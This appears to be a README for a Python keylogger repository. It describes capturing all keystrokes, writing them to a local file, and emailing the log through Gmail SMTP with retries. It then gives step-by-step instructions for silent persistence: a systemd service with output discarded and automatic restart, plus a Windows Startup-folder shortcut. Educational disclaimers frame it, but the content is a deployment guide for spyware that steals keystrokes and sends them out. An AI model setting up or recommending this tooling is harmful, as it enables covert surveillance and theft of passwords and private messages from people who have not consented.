Educational / authorized-use notice: This project demonstrates keyboard event capture, local buffering, and email delivery in Python. Run it only on systems you own or have explicit permission to test.
This repository contains a Python-based keylogger script that records keystrokes to a local file and can send the collected log by email. It includes retry handling for email delivery, local log management, and startup examples for Linux and Windows.
Read this diagram from top to bottom. It follows the same layers used by keylogger.py: launch, imports and global state, main(), key capture, Esc detection, email sending, and cleanup/restart.
| Function | Plain-language role | Technical behavior |
|---|---|---|
main() |
Starts the program and keeps it running | Loads keylog.txt if present, starts a Listener, waits for it to stop, sleeps 5 seconds, then starts another listener |
on_press(key) |
Records each key press | Adds printable characters or special-key names to log_content, then appends the current full buffer to keylog.txt |
on_release(key) |
Watches for the session-ending key | When Esc is released, calls send_email(), clears memory and file logs, and returns False to stop the current listener |
send_email(log_content) |
Sends the captured text by email | Builds a MIME email, connects to SMTP with STARTTLS, logs in, sends the message, and retries up to 3 times |
Escends the current listener session, but the currentmain()loop starts listening again after 5 seconds.keylog.txtis relative to the current working directory, so its location can change depending on how the script is launched.- The file write in
on_press()appends the entire in-memory log every time, not just the newest key. - Email credentials are stored directly in source unless you replace them with a safer configuration method.
- After
Esc, local logs are cleared even if email delivery was not confirmed after the final retry.
- Keystroke Logging: Captures all keystrokes, including special keys like
Enter,Backspace, andSpace. - Email Notification: Sends the logged keystrokes to a specified email address.
- Retry Mechanism: Retries email sending up to 3 times in case of failures.
- Log Management: Clears logs after the
Escsession-ending flow runs. - Session Restart: Restarts the listener after a 5-second pause because
main()runs in an infinite loop. - Automatic Startup: Instructions included for setting up the script to run automatically at system startup on Linux and Windows.
-
Python 3.x
-
Required Python libraries:
pip install pynput
-
A Gmail account with app-specific password if 2-Step Verification is enabled. Refer to the Google App Passwords Guide to create one.
Update the following variables in the script with your email credentials:
EMAIL_ADDRESS = 'your-email@gmail.com'
EMAIL_PASSWORD = 'your-app-password'
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587Run the script in your terminal:
python3 keylogger.pyPress Esc to send the currently collected log, clear keylog.txt, and stop the active listener session.
Because main() contains an infinite loop, the script starts listening again after 5 seconds. To fully stop the program, stop the terminal process or stop/disable the service that launched it.
-
Create a systemd service file:
sudo nano /etc/systemd/system/keylogger.service
-
Add the following content:
[Unit] Description=Keylogger Script After=multi-user.target [Service] ExecStart=/usr/bin/python3 /path/to/keylogger.py WorkingDirectory=/path/to StandardOutput=null StandardError=null Restart=always [Install] WantedBy=multi-user.target
Replace
/path/to/keylogger.pywith the full path to your script. -
Reload systemd and enable the service:
sudo systemctl daemon-reload sudo systemctl enable keylogger.service sudo systemctl start keylogger.service -
Verify the service is running:
sudo systemctl status keylogger.service
-
Press
Win + R, typeshell:startup, then press Enter. -
Create a shortcut in the Startup folder with the following target:
C:\Python39\python.exe C:\path\to\keylogger.py -
The script will run automatically on login.
This script is for educational purposes only. Unauthorized use of keyloggers is illegal and unethical. Use it responsibly and only on systems where you have explicit permission.
The author is not responsible for any misuse of this script. Always use it in compliance with applicable laws and regulations.
